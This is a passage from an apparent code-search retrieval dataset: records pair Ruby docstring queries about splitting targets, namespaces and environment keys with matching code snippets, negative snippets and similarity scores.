#{val}\" }\n end", "def namespace(*values)\n values.inject(self) { |res, val| res._namespace(val) or fail ArgumentError, \"Unknown value for namespace: #{val}\" }\n end", "def namespace\n slice_name.namespace\n end", "def hidden_namespaces; end" ]
[ "0.70319545", "0.6985385", "0.6985385", "0.6575446", "0.6484162", "0.6256091", "0.61773086", "0.6169401", "0.60568917", "0.6001959", "0.5954219", "0.5883592", "0.5760462", "0.57480645", "0.57124037", "0.57095504", "0.56629884", "0.5641671", "0.5640766", "0.5631009", "0.5597819", "0.55743253", "0.55682987", "0.55682987", "0.5566598", "0.5529611", "0.5528988", "0.5517294", "0.5493226", "0.54829836", "0.54736334", "0.5467368", "0.5464066", "0.5441787", "0.5427229", "0.54037124", "0.5370442", "0.53497887", "0.5273384", "0.52659446", "0.5263008", "0.52622366", "0.5254114", "0.52323925", "0.52233106", "0.52233106", "0.52233106", "0.52233106", "0.51497763", "0.51370215", "0.50947696", "0.50722915", "0.50664777", "0.5034182", "0.50232834", "0.50159204", "0.50159204", "0.50085104", "0.4982801", "0.497631", "0.4969561", "0.4957261", "0.49572346", "0.4951535", "0.49379233", "0.4934475", "0.49293318", "0.49223354", "0.49100903", "0.48959145", "0.4887844", "0.48573396", "0.48527977", "0.48512262", "0.48512262", "0.4840771", "0.48381275", "0.48376808", "0.48234737", "0.48234737", "0.48191556", "0.48187882", "0.4816277", "0.48158878", "0.47991425", "0.47988597", "0.47981417", "0.47981417", "0.47736835", "0.47727633", "0.47727633", "0.47727633", "0.47727633", "0.47727633", "0.47727633", "0.47727633", "0.47727633", "0.47597605", "0.47553676" ]
0.81508726
1
Returns targets split on the namespace pattern.
def targets target.split(NAMESPACE_PATTERN) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def targets\n name.split(\"_\")\n end", "def namespaces\n namespace.split(NAMESPACE_PATTERN)\n end", "def namespaces\n namespace.split(NAMESPACE_PATTERN)\n end", "def all_targets\n targets = []\n find('').sort.each do |file|\n targets << File.basename(file)\n end\n targets # return\n end", "def prefixes\n prefix.split(NAMESPACE_PATTERN)\n end", "def prefixes\n prefix.split(NAMESPACE_PATTERN)\n end", "def parts\n namespace.split(SEPARATOR)\n end", "def splitNameSpace(source)\n #noinspection RubyNestedTernaryOperatorsInspection\n source =~ /(\\w[\\w\\.]*)\\.(#{TYPE_START}\\w*)/ ? [($1.empty? ? nil : $1), $2] :\n (source =~ /(#{TYPE_START}\\w*)/ ? [nil, source] : [nil, nil])\nend", "def targets()\n if @target then\n return [self]\n else\n return []\n end\n end", "def split_prefix\n [$1, $2, $3] if @prefix =~ PREFIX_PAT\n end", "def targets\n\t\t@targets ||= begin\n\t\t\tconfig_list('target(Enumerator)?$').map do |li|\n\t\t\t\tif li[0].downcase == 'target'\n\t\t\t\t\tli[1]\n\t\t\t\telsif li[0].downcase == 'targetenumerator'\n\t\t\t\t\trv = run_command(\"Enumerating targets using '#{li[1]}'\", li[1]).split(/\\s+/)\n\t\t\t\t\tif $?.exitstatus != 0\n\t\t\t\t\t\traise RuntimeError,\n\t\t\t\t\t\t\t\t\"Target enumeration failed. Aborting.\"\n\t\t\t\t\tend\n\t\t\t\t\trv\n\t\t\t\telse\n\t\t\t\t\traise RuntimeError,\n\t\t\t\t\t\t\t\"Unknown target expansion option: #{li[0]}\"\n\t\t\t\tend\n\t\t\tend.flatten\n\t\tend\n\tend", "def target_names\n targets ? targets.map(&:to_sym) : nil\n end", "def resolve_name(target)\n if (group = @group_lookup[target])\n group.all_targets\n else\n # Try to wildcard match targets in inventory\n # Ignore case because hostnames are generally case-insensitive\n regexp = Regexp.new(\"^#{Regexp.escape(target).gsub('\\*', '.*?')}$\", Regexp::IGNORECASE)\n\n targets = @groups.all_targets.select { |targ| targ =~ regexp }\n targets += @groups.target_aliases.select { |target_alias, _target| target_alias =~ regexp }.values\n\n if targets.empty?\n raise(WildcardError, target) if target.include?('*')\n [target]\n else\n targets\n end\n end\n end", "def namespaces\n map(&:namespace).map(&:prefix).map(&:to_s).map(&:downcase).uniq\n end", "def targets\n @targets ||= []\n end", "def namespaces\n Dir[\"#{NAMESPACE_DIR}/*\"]\n .find_all { |dir| FileTest.directory?(dir) }\n .map { |dir| File.basename(dir) }\nend", "def targets\n @targets ||= targets_path.children.map do |target|\n begin\n self.target(target.basename)\n rescue Target::FileNotFoundError\n nil\n end\n end.compact\n end", "def get_targets\n {\n method: \"Target.getTargets\"\n }\n end", "def namespaces_to_paths(namespaces)\n paths = []\n namespaces.each do |namespace|\n pieces = namespace.split(\":\")\n path = pieces.join(\"/\")\n paths << \"#{path}/#{pieces.last}\"\n paths << path\n end\n paths.uniq!\n paths\n end", "def targets\n return @targets\n end", "def targets\n return @targets\n end", "def targets( paths )\n Target.new( config.targets + paths || [], config.excludes.uniq )\n end", "def targets\n ['Barn 0 - 14', 'Ung 15 - 24', 'Voksen 25 - 65', 'Eldre 65 +']\n end", "def get_targets(name=:target)\n ActivityTarget.where(:name => name, :activity_id => id).map{ |at| at.target }\n end", "def target(*indexes)\n ['-t', ':' + indexes.join('.')]\n end", "def list_namespace(regex = '.*')\n pattern = java.util.regex.Pattern.compile(regex)\n list = @admin.listNamespaces\n list.select { |s| pattern.match(s) }\n end", "def with_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*namespaces, *targets, *keys].join('_').upcase\n end", "def with_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*namespaces, *targets, *keys].join('_').upcase\n end", "def namespace_names\n @namespaces.map(&:name)\n end", "def targets\n\t\tTarget.find(:all)\n\tend", "def targets\r\n @dispatch_targets\r\n end", "def pattern_names\n # This removes the path and extensions\n patterns.map { |pat| pat.name.gsub(/.*[\\\\\\/]/, '').gsub(/\\..*/, '') }\n end", "def list(namespace)\n list = Dir.entries(make_path(namespace)) - %w{. ..}\n list.map! {|item| File.split(item)[1].to_sym}\n list.to_set\n end", "def namesplit(fullname)\n ary = fullname.split(\"::\")\n n = ary.pop || \"\"\n ns = ary.join(\"::\")\n return ns, n\n end", "def namespaces\n @opts[:namespace]\n end", "def make_targets\n if @set\n targets = @set and @set = nil\n return targets\n end\n en_tm_ga_mt\n end", "def getTargets fullData\r\n\t\t#Clone the test set, inject the target feature bounds, get the feature bounds/target Hash Array\r\n\t\tfullData.injectFeatures({domainLowerBound: @domainLowerBound, domainUpperBound: @domainUpperBound})\r\n\t\ttargets = fullData.segregate([:domainLowerBound, :domainUpperBound, @target], true).getDataStructure(true)\r\n\t\t[fullData, targets]\r\n\tend", "def split_name(name)\n classified_name = name.to_s.classify\n name_parts = classified_name.split(\"::\")\n namespace_name = name_parts[0...-1].join(\"::\")\n return [nil, classified_name] if namespace_name.empty?\n\n [namespace_name, name_parts.last]\n end", "def optional_target_names\n optional_targets.keys.select { |key| key.to_s.start_with?(\"subscribing_to_\") }.map { |key| key.slice(15..-1) }\n end", "def get_targets(path)\n config = YAML.load(File.read(path))\n targets = config['storage']['targets'].group_by { |key| key['type'] }\n targets_valid?(targets)\n process_targets(targets)\nend", "def targets\n @targets = Array(@attrs[:targets]).map do |status|\n Twitter::Status.fetch_or_new(status)\n end\n end", "def targets\n project.targets\n end", "def filter(units)\n return units if namespaces.nil? or namespaces.empty?\n units.select do |u|\n namespaces.any? do |ns|\n /^#{ns}/ =~ u.namespace.to_s\n end\n end\n end", "def ns(*words)\n jn(@namespace, words)\n end", "def targets(*names, &block)\n if names.empty?\n UI.warning('Book#targets to get all targets is deprecated, use #all_targets instead', location: caller_locations.first)\n return all_targets\n end\n\n names.map { |name| target(name, &block) }\n end", "def by_target\n targets.\n map { |t| [t.object, @matches[t].map { |m| m.candidate.object }] }.\n to_h.\n freeze\n end", "def pattern\n Regexp.union(pattern_classifiers.map(&:pattern))\n end", "def targets_for_address\n email_settings[\"targets\"].split(\",\")\n end", "def target_ids\n @target_ids ||= node.xpath('span/target')\n .map { |target| target.attr('id') }\n end", "def get_namespaces\n @paths.keys\n end", "def production_targets\n prod_targets.map { |_moo, targets| targets }.uniq\n end", "def extract\n package_annotations = []\n\n @net.transitions.each do |transition|\n if line = extract_annotation(transition)\n package_annotations << line\n end\n end\n\n package_annotations << \".@ PackageName :: \\\"%s\\\"\" % @package_name if @package_name\n package_annotations << \".@ Editor :: \\\"%s\\\"\" % @editor if @editor\n package_annotations << \".@ Tag :: \\\"%s\\\"\" % @tag if @tag\n\n return package_annotations\n end", "def named_routes(namespace=nil)\n unless routes = opts[:namespaced_routes][namespace]\n raise RodaError, \"unsupported multi_route namespace used: #{namespace.inspect}\"\n end\n routes.keys\n end", "def patterns\n #@rules.every.pattern\n @rules.map {|r| r.pattern }\n end", "def namespaces(*namespaces)\n namespaces.each do |ns|\n namespace ns\n end\n @namespaces\n end", "def with_prefixes_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *targets, *keys].join('_').upcase\n end", "def with_prefixes_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *targets, *keys].join('_').upcase\n end", "def namespaces_by_prefix\n namespace_scopes.reduce({}, &->(m, ns) { m[ns.prefix]=ns; m })\n end", "def namespace\n @namestack.join(\"::\")\n end", "def xcode_targets\n out = %x{ xcodebuild -list }\n out.scan(/.*Targets:\\s+(.*)Build Configurations:.*/m)\n\n targets = []\n $1.each_line do |l|\n l = l.strip.sub(' (Active)', '')\n targets << l unless l.nil? or l.empty?\n end\n targets\nend", "def get_path_by_names(start, stop)\n s1 = get_node(start)\n s2 = get_node(stop)\n if s1 != nil && s2 != nil\n return get_path(s1, s2)\n end\n Array.new \n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def keys_for(key = EMPTY_STRING)\n key.split(NAMESPACE_PATTERN)\n end", "def get_tasks_targets\n @test_pack.get_active_tests\n end", "def named_route_regexp(namespace=nil)\n @namespaced_route_regexps[namespace] ||= /(#{Regexp.union(roda_class.named_routes(namespace).select{|s| s.is_a?(String)}.sort.reverse)})/\n end", "def get_paths(namespace = MAIN_NAMESPACE)\n @paths[namespace] || []\n end", "def possible_namespaces\n namespaces = []\n key = @key.to_s\n while (index = key.rindex('_'))\n key = key[0, index]\n namespaces << key.to_sym\n end\n namespaces\n end", "def subdomains(tld_length = 1)\n return [] unless named_host?(host)\n parts = host.split('.')\n parts[0..-(tld_length+2)]\n end", "def targets\n\t\tWmapTarget.find(:all)\n\tend", "def targets(options = {})\n run_command('targets', options)\n end", "def expand_any_double_colon_namespace_args(args_arr)\n args_arr.map{|arg| arg.split('::') }.flatten\n end", "def namespaces; end", "def namespaces; end", "def namespaces; end", "def namespaces; end", "def split(pattern=$;, limit=0) end", "def split(pattern=$;, limit=0) end", "def parts\n prefix, parts = split_names(@path)\n prefix.empty? ? parts : [prefix] + parts\n end", "def get_namespaces\n raise NotImplementedError\n end", "def _test_testNamespaces ; process_test_case(\"testNamespaces\") ; end", "def collect_namespaces(object); end", "def wordlist\n # Split defaults to splitting on white space\n File.read(File.expand_path('../data/subdomains.txt', __FILE__)).split\n end", "def matchtask(regex, split = nil)\n tasks = []\n regex.each do |r|\n @message.scan(eval(r['pattern'])).each do |arr|\n if split.nil?\n task = PACTask.new(arr[0])\n task.add_commit(self)\n self.referenced = true\n task.label = r['label']\n tasks << task\n else\n arr[0].split(split).each do |s|\n task = PACTask.new(s)\n task.add_commit(self)\n task.label = r['label']\n self.referenced = true\n tasks << task\n end\n end\n end\n end\n\n tasks\n end", "def get_targets(path, logger)\n logger.info 'Gathering Targets...'\n open(path) { |f| f.read }\n end", "def suite_test_names suite_class\n s = /^#{suite_class.name}#/\n test_names.select {|tn| tn.match(s) }.map{|tn| tn.split('#',2).last }.uniq\n end", "def tests(subject)\n subject.match_expressions.each do |match_expression|\n tests = integration.all_tests.select do |test|\n match_expression.prefix?(test.expression)\n end\n return tests if tests.any?\n end\n\n EMPTY_ARRAY\n end", "def split(pattern = $; || ' ', limit = undefined)\n `#{self}.split(pattern,limit)`\n end", "def split(pattern = $; || ' ', limit = undefined)\n `#{self}.split(pattern,limit)`\n end", "def targets\n return YAML.safe_load(File.read(@cache), permitted_classes: [Symbol]) unless @cache.nil?\n\n targets = Pod::Config.instance.with_changes(silent: true) do\n Pod::Installer.targets_from_sandbox(\n Pod::Config.instance.sandbox,\n Pod::Config.instance.podfile,\n Pod::Config.instance.lockfile\n ).flat_map(&:pod_targets).uniq\n end\n\n targets.map { |target| { name: target.name, dependencies: target.root_spec.dependencies.map(&:name) } }\n end", "def on_axis_namespace(ast_node, context)\n nodes = XML::NodeSet.new\n name = ast_node.children[1]\n\n context.each do |context_node|\n next unless context_node.respond_to?(:available_namespaces)\n\n context_node.available_namespaces.each do |_, namespace|\n if namespace.name == name or name == '*'\n nodes << namespace\n end\n end\n end\n\n return nodes\n end", "def targets\n @targets ||= (data['targets'] || {})\n end", "def get_namespace_and_name(input_remote_name, delimiter)\n if (input_remote_name||'').include?(delimiter)\n input_remote_name.split(delimiter)\n # support ns/name as well as ns:name\n elsif (input_remote_name||'').include?('/')\n input_remote_name.split('/')\n else\n [nil, input_remote_name]\n end\n end", "def split(pat, limit)\n end", "def patterns; end", "def find(*pattern)\n pattern = pattern.join('*')\n pattern << '*' unless pattern =~ /\\*$/\n \n packages = []\n @repositories.select{|label,_| @active.include? label }.each do |label, repos|\n repos.each do |repo|\n packages.concat(repo.scan(pattern))\n end\n end\n packages\n end", "def namespaces\n result = []\n each_instance( \"root/interop\", \"CIM_Namespace\" ) do |inst|\n result << inst.Name\n end\n result.uniq\n end", "def split() File.split(path).map {|f| Path::Name.new(f) } end", "def alternate_namespaces\n return @alternate_name.keys()\n end", "def gather_prefixes(tlds)\n prefixes = []\n while tlds.length > 0\n prefix = tlds.first[0]\n i = tlds.index {|tld| tld[0] != prefix} || tlds.length\n group = tlds[0...i].map {|tld| tld[1..-1]}\n if (j = group.index(''))\n group.delete_at(j)\n group << ''\n end\n r = (group.length == 1) ? group.first : gather_prefixes(group)\n prefixes << \"#{prefix}#{r}\"\n tlds = tlds[i..-1]\n end\n \"(?:#{prefixes.join('|')})\"\nend" ]
[ "0.6638572", "0.65504056", "0.65504056", "0.58468294", "0.5797391", "0.5797391", "0.56284827", "0.5456567", "0.5355485", "0.5295086", "0.52468276", "0.5243942", "0.52298576", "0.5226278", "0.52173454", "0.52150553", "0.516638", "0.5159453", "0.5114256", "0.5112964", "0.5112964", "0.5106991", "0.5102245", "0.50681865", "0.5024945", "0.4976011", "0.49622175", "0.49622175", "0.4960922", "0.49175", "0.48744678", "0.4821107", "0.4799685", "0.477255", "0.47672683", "0.47610414", "0.4760293", "0.4738883", "0.47298926", "0.47294235", "0.47261766", "0.47257566", "0.4718849", "0.47069207", "0.4694138", "0.46674687", "0.46580786", "0.46561524", "0.46371314", "0.46363285", "0.46248838", "0.46236378", "0.46228388", "0.4620713", "0.46109772", "0.4605705", "0.4605705", "0.4597569", "0.45966235", "0.45924684", "0.45661077", "0.45631236", "0.45631236", "0.4560017", "0.45436752", "0.4520527", "0.45194408", "0.45126215", "0.45018837", "0.44938567", "0.44915646", "0.44907323", "0.44907323", "0.44907323", "0.44907323", "0.44840518", "0.44840518", "0.44731405", "0.4472052", "0.44577238", "0.4456099", "0.44357207", "0.44337094", "0.4432563", "0.44284818", "0.44233453", "0.44222414", "0.44222414", "0.44117934", "0.44039917", "0.44004506", "0.44000325", "0.43999466", "0.43931812", "0.4384153", "0.43774098", "0.43634242", "0.43605185", "0.43591973" ]
0.8098817
1
Returns targets split on the namespace pattern.
def keys_for(key = EMPTY_STRING) key.split(NAMESPACE_PATTERN) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def targets\n target.split(NAMESPACE_PATTERN)\n end", "def targets\n target.split(NAMESPACE_PATTERN)\n end", "def targets\n name.split(\"_\")\n end", "def namespaces\n namespace.split(NAMESPACE_PATTERN)\n end", "def namespaces\n namespace.split(NAMESPACE_PATTERN)\n end", "def all_targets\n targets = []\n find('').sort.each do |file|\n targets << File.basename(file)\n end\n targets # return\n end", "def prefixes\n prefix.split(NAMESPACE_PATTERN)\n end", "def prefixes\n prefix.split(NAMESPACE_PATTERN)\n end", "def parts\n namespace.split(SEPARATOR)\n end", "def splitNameSpace(source)\n #noinspection RubyNestedTernaryOperatorsInspection\n source =~ /(\\w[\\w\\.]*)\\.(#{TYPE_START}\\w*)/ ? [($1.empty? ? nil : $1), $2] :\n (source =~ /(#{TYPE_START}\\w*)/ ? [nil, source] : [nil, nil])\nend", "def targets()\n if @target then\n return [self]\n else\n return []\n end\n end", "def split_prefix\n [$1, $2, $3] if @prefix =~ PREFIX_PAT\n end", "def targets\n\t\t@targets ||= begin\n\t\t\tconfig_list('target(Enumerator)?$').map do |li|\n\t\t\t\tif li[0].downcase == 'target'\n\t\t\t\t\tli[1]\n\t\t\t\telsif li[0].downcase == 'targetenumerator'\n\t\t\t\t\trv = run_command(\"Enumerating targets using '#{li[1]}'\", li[1]).split(/\\s+/)\n\t\t\t\t\tif $?.exitstatus != 0\n\t\t\t\t\t\traise RuntimeError,\n\t\t\t\t\t\t\t\t\"Target enumeration failed. Aborting.\"\n\t\t\t\t\tend\n\t\t\t\t\trv\n\t\t\t\telse\n\t\t\t\t\traise RuntimeError,\n\t\t\t\t\t\t\t\"Unknown target expansion option: #{li[0]}\"\n\t\t\t\tend\n\t\t\tend.flatten\n\t\tend\n\tend", "def target_names\n targets ? targets.map(&:to_sym) : nil\n end", "def resolve_name(target)\n if (group = @group_lookup[target])\n group.all_targets\n else\n # Try to wildcard match targets in inventory\n # Ignore case because hostnames are generally case-insensitive\n regexp = Regexp.new(\"^#{Regexp.escape(target).gsub('\\*', '.*?')}$\", Regexp::IGNORECASE)\n\n targets = @groups.all_targets.select { |targ| targ =~ regexp }\n targets += @groups.target_aliases.select { |target_alias, _target| target_alias =~ regexp }.values\n\n if targets.empty?\n raise(WildcardError, target) if target.include?('*')\n [target]\n else\n targets\n end\n end\n end", "def namespaces\n map(&:namespace).map(&:prefix).map(&:to_s).map(&:downcase).uniq\n end", "def targets\n @targets ||= []\n end", "def namespaces\n Dir[\"#{NAMESPACE_DIR}/*\"]\n .find_all { |dir| FileTest.directory?(dir) }\n .map { |dir| File.basename(dir) }\nend", "def targets\n @targets ||= targets_path.children.map do |target|\n begin\n self.target(target.basename)\n rescue Target::FileNotFoundError\n nil\n end\n end.compact\n end", "def get_targets\n {\n method: \"Target.getTargets\"\n }\n end", "def namespaces_to_paths(namespaces)\n paths = []\n namespaces.each do |namespace|\n pieces = namespace.split(\":\")\n path = pieces.join(\"/\")\n paths << \"#{path}/#{pieces.last}\"\n paths << path\n end\n paths.uniq!\n paths\n end", "def targets\n return @targets\n end", "def targets\n return @targets\n end", "def targets( paths )\n Target.new( config.targets + paths || [], config.excludes.uniq )\n end", "def targets\n ['Barn 0 - 14', 'Ung 15 - 24', 'Voksen 25 - 65', 'Eldre 65 +']\n end", "def get_targets(name=:target)\n ActivityTarget.where(:name => name, :activity_id => id).map{ |at| at.target }\n end", "def target(*indexes)\n ['-t', ':' + indexes.join('.')]\n end", "def list_namespace(regex = '.*')\n pattern = java.util.regex.Pattern.compile(regex)\n list = @admin.listNamespaces\n list.select { |s| pattern.match(s) }\n end", "def with_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*namespaces, *targets, *keys].join('_').upcase\n end", "def with_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*namespaces, *targets, *keys].join('_').upcase\n end", "def namespace_names\n @namespaces.map(&:name)\n end", "def targets\n\t\tTarget.find(:all)\n\tend", "def targets\r\n @dispatch_targets\r\n end", "def pattern_names\n # This removes the path and extensions\n patterns.map { |pat| pat.name.gsub(/.*[\\\\\\/]/, '').gsub(/\\..*/, '') }\n end", "def list(namespace)\n list = Dir.entries(make_path(namespace)) - %w{. ..}\n list.map! {|item| File.split(item)[1].to_sym}\n list.to_set\n end", "def namesplit(fullname)\n ary = fullname.split(\"::\")\n n = ary.pop || \"\"\n ns = ary.join(\"::\")\n return ns, n\n end", "def namespaces\n @opts[:namespace]\n end", "def make_targets\n if @set\n targets = @set and @set = nil\n return targets\n end\n en_tm_ga_mt\n end", "def getTargets fullData\r\n\t\t#Clone the test set, inject the target feature bounds, get the feature bounds/target Hash Array\r\n\t\tfullData.injectFeatures({domainLowerBound: @domainLowerBound, domainUpperBound: @domainUpperBound})\r\n\t\ttargets = fullData.segregate([:domainLowerBound, :domainUpperBound, @target], true).getDataStructure(true)\r\n\t\t[fullData, targets]\r\n\tend", "def split_name(name)\n classified_name = name.to_s.classify\n name_parts = classified_name.split(\"::\")\n namespace_name = name_parts[0...-1].join(\"::\")\n return [nil, classified_name] if namespace_name.empty?\n\n [namespace_name, name_parts.last]\n end", "def optional_target_names\n optional_targets.keys.select { |key| key.to_s.start_with?(\"subscribing_to_\") }.map { |key| key.slice(15..-1) }\n end", "def get_targets(path)\n config = YAML.load(File.read(path))\n targets = config['storage']['targets'].group_by { |key| key['type'] }\n targets_valid?(targets)\n process_targets(targets)\nend", "def targets\n @targets = Array(@attrs[:targets]).map do |status|\n Twitter::Status.fetch_or_new(status)\n end\n end", "def targets\n project.targets\n end", "def filter(units)\n return units if namespaces.nil? or namespaces.empty?\n units.select do |u|\n namespaces.any? do |ns|\n /^#{ns}/ =~ u.namespace.to_s\n end\n end\n end", "def ns(*words)\n jn(@namespace, words)\n end", "def targets(*names, &block)\n if names.empty?\n UI.warning('Book#targets to get all targets is deprecated, use #all_targets instead', location: caller_locations.first)\n return all_targets\n end\n\n names.map { |name| target(name, &block) }\n end", "def by_target\n targets.\n map { |t| [t.object, @matches[t].map { |m| m.candidate.object }] }.\n to_h.\n freeze\n end", "def pattern\n Regexp.union(pattern_classifiers.map(&:pattern))\n end", "def targets_for_address\n email_settings[\"targets\"].split(\",\")\n end", "def target_ids\n @target_ids ||= node.xpath('span/target')\n .map { |target| target.attr('id') }\n end", "def get_namespaces\n @paths.keys\n end", "def production_targets\n prod_targets.map { |_moo, targets| targets }.uniq\n end", "def extract\n package_annotations = []\n\n @net.transitions.each do |transition|\n if line = extract_annotation(transition)\n package_annotations << line\n end\n end\n\n package_annotations << \".@ PackageName :: \\\"%s\\\"\" % @package_name if @package_name\n package_annotations << \".@ Editor :: \\\"%s\\\"\" % @editor if @editor\n package_annotations << \".@ Tag :: \\\"%s\\\"\" % @tag if @tag\n\n return package_annotations\n end", "def named_routes(namespace=nil)\n unless routes = opts[:namespaced_routes][namespace]\n raise RodaError, \"unsupported multi_route namespace used: #{namespace.inspect}\"\n end\n routes.keys\n end", "def patterns\n #@rules.every.pattern\n @rules.map {|r| r.pattern }\n end", "def namespaces(*namespaces)\n namespaces.each do |ns|\n namespace ns\n end\n @namespaces\n end", "def with_prefixes_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *targets, *keys].join('_').upcase\n end", "def with_prefixes_namespaces_targets_key_for(keys = EMPTY_ARRAY)\n [*prefixes, *namespaces, *targets, *keys].join('_').upcase\n end", "def namespaces_by_prefix\n namespace_scopes.reduce({}, &->(m, ns) { m[ns.prefix]=ns; m })\n end", "def namespace\n @namestack.join(\"::\")\n end", "def xcode_targets\n out = %x{ xcodebuild -list }\n out.scan(/.*Targets:\\s+(.*)Build Configurations:.*/m)\n\n targets = []\n $1.each_line do |l|\n l = l.strip.sub(' (Active)', '')\n targets << l unless l.nil? or l.empty?\n end\n targets\nend", "def get_path_by_names(start, stop)\n s1 = get_node(start)\n s2 = get_node(stop)\n if s1 != nil && s2 != nil\n return get_path(s1, s2)\n end\n Array.new \n end", "def get_tasks_targets\n @test_pack.get_active_tests\n end", "def named_route_regexp(namespace=nil)\n @namespaced_route_regexps[namespace] ||= /(#{Regexp.union(roda_class.named_routes(namespace).select{|s| s.is_a?(String)}.sort.reverse)})/\n end", "def get_paths(namespace = MAIN_NAMESPACE)\n @paths[namespace] || []\n end", "def possible_namespaces\n namespaces = []\n key = @key.to_s\n while (index = key.rindex('_'))\n key = key[0, index]\n namespaces << key.to_sym\n end\n namespaces\n end", "def subdomains(tld_length = 1)\n return [] unless named_host?(host)\n parts = host.split('.')\n parts[0..-(tld_length+2)]\n end", "def targets\n\t\tWmapTarget.find(:all)\n\tend", "def targets(options = {})\n run_command('targets', options)\n end", "def expand_any_double_colon_namespace_args(args_arr)\n args_arr.map{|arg| arg.split('::') }.flatten\n end", "def namespaces; end", "def namespaces; end", "def namespaces; end", "def namespaces; end", "def split(pattern=$;, limit=0) end", "def split(pattern=$;, limit=0) end", "def parts\n prefix, parts = split_names(@path)\n prefix.empty? ? parts : [prefix] + parts\n end", "def get_namespaces\n raise NotImplementedError\n end", "def _test_testNamespaces ; process_test_case(\"testNamespaces\") ; end", "def collect_namespaces(object); end", "def wordlist\n # Split defaults to splitting on white space\n File.read(File.expand_path('../data/subdomains.txt', __FILE__)).split\n end", "def matchtask(regex, split = nil)\n tasks = []\n regex.each do |r|\n @message.scan(eval(r['pattern'])).each do |arr|\n if split.nil?\n task = PACTask.new(arr[0])\n task.add_commit(self)\n self.referenced = true\n task.label = r['label']\n tasks << task\n else\n arr[0].split(split).each do |s|\n task = PACTask.new(s)\n task.add_commit(self)\n task.label = r['label']\n self.referenced = true\n tasks << task\n end\n end\n end\n end\n\n tasks\n end", "def get_targets(path, logger)\n logger.info 'Gathering Targets...'\n open(path) { |f| f.read }\n end", "def suite_test_names suite_class\n s = /^#{suite_class.name}#/\n test_names.select {|tn| tn.match(s) }.map{|tn| tn.split('#',2).last }.uniq\n end", "def tests(subject)\n subject.match_expressions.each do |match_expression|\n tests = integration.all_tests.select do |test|\n match_expression.prefix?(test.expression)\n end\n return tests if tests.any?\n end\n\n EMPTY_ARRAY\n end", "def split(pattern = $; || ' ', limit = undefined)\n `#{self}.split(pattern,limit)`\n end", "def split(pattern = $; || ' ', limit = undefined)\n `#{self}.split(pattern,limit)`\n end", "def targets\n return YAML.safe_load(File.read(@cache), permitted_classes: [Symbol]) unless @cache.nil?\n\n targets = Pod::Config.instance.with_changes(silent: true) do\n Pod::Installer.targets_from_sandbox(\n Pod::Config.instance.sandbox,\n Pod::Config.instance.podfile,\n Pod::Config.instance.lockfile\n ).flat_map(&:pod_targets).uniq\n end\n\n targets.map { |target| { name: target.name, dependencies: target.root_spec.dependencies.map(&:name) } }\n end", "def on_axis_namespace(ast_node, context)\n nodes = XML::NodeSet.new\n name = ast_node.children[1]\n\n context.each do |context_node|\n next unless context_node.respond_to?(:available_namespaces)\n\n context_node.available_namespaces.each do |_, namespace|\n if namespace.name == name or name == '*'\n nodes << namespace\n end\n end\n end\n\n return nodes\n end", "def targets\n @targets ||= (data['targets'] || {})\n end", "def get_namespace_and_name(input_remote_name, delimiter)\n if (input_remote_name||'').include?(delimiter)\n input_remote_name.split(delimiter)\n # support ns/name as well as ns:name\n elsif (input_remote_name||'').include?('/')\n input_remote_name.split('/')\n else\n [nil, input_remote_name]\n end\n end", "def split(pat, limit)\n end", "def patterns; end", "def find(*pattern)\n pattern = pattern.join('*')\n pattern << '*' unless pattern =~ /\\*$/\n \n packages = []\n @repositories.select{|label,_| @active.include? label }.each do |label, repos|\n repos.each do |repo|\n packages.concat(repo.scan(pattern))\n end\n end\n packages\n end", "def namespaces\n result = []\n each_instance( \"root/interop\", \"CIM_Namespace\" ) do |inst|\n result << inst.Name\n end\n result.uniq\n end", "def split() File.split(path).map {|f| Path::Name.new(f) } end", "def alternate_namespaces\n return @alternate_name.keys()\n end", "def gather_prefixes(tlds)\n prefixes = []\n while tlds.length > 0\n prefix = tlds.first[0]\n i = tlds.index {|tld| tld[0] != prefix} || tlds.length\n group = tlds[0...i].map {|tld| tld[1..-1]}\n if (j = group.index(''))\n group.delete_at(j)\n group << ''\n end\n r = (group.length == 1) ? group.first : gather_prefixes(group)\n prefixes << \"#{prefix}#{r}\"\n tlds = tlds[i..-1]\n end\n \"(?:#{prefixes.join('|')})\"\nend" ]
[ "0.8098817", "0.8098817", "0.6638572", "0.65504056", "0.65504056", "0.58468294", "0.5797391", "0.5797391", "0.56284827", "0.5456567", "0.5355485", "0.5295086", "0.52468276", "0.5243942", "0.52298576", "0.5226278", "0.52173454", "0.52150553", "0.516638", "0.5159453", "0.5114256", "0.5112964", "0.5112964", "0.5106991", "0.5102245", "0.50681865", "0.5024945", "0.4976011", "0.49622175", "0.49622175", "0.4960922", "0.49175", "0.48744678", "0.4821107", "0.4799685", "0.477255", "0.47672683", "0.47610414", "0.4760293", "0.4738883", "0.47298926", "0.47294235", "0.47261766", "0.47257566", "0.4718849", "0.47069207", "0.4694138", "0.46674687", "0.46580786", "0.46561524", "0.46371314", "0.46363285", "0.46248838", "0.46236378", "0.46228388", "0.4620713", "0.46109772", "0.4605705", "0.4605705", "0.4597569", "0.45966235", "0.45924684", "0.45661077", "0.4560017", "0.45436752", "0.4520527", "0.45194408", "0.45126215", "0.45018837", "0.44938567", "0.44915646", "0.44907323", "0.44907323", "0.44907323", "0.44907323", "0.44840518", "0.44840518", "0.44731405", "0.4472052", "0.44577238", "0.4456099", "0.44357207", "0.44337094", "0.4432563", "0.44284818", "0.44233453", "0.44222414", "0.44222414", "0.44117934", "0.44039917", "0.44004506", "0.44000325", "0.43999466", "0.43931812", "0.4384153", "0.43774098", "0.43634242", "0.43605185", "0.43591973" ]
0.45631236
64
Returns a key to be used in looking up an environment variable that contains the prefix, namespace, target and provided keys.
def with_prefixes_namespaces_targets_key_for(keys = EMPTY_ARRAY) [*prefixes, *namespaces, *targets, *keys].join('_').upcase end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
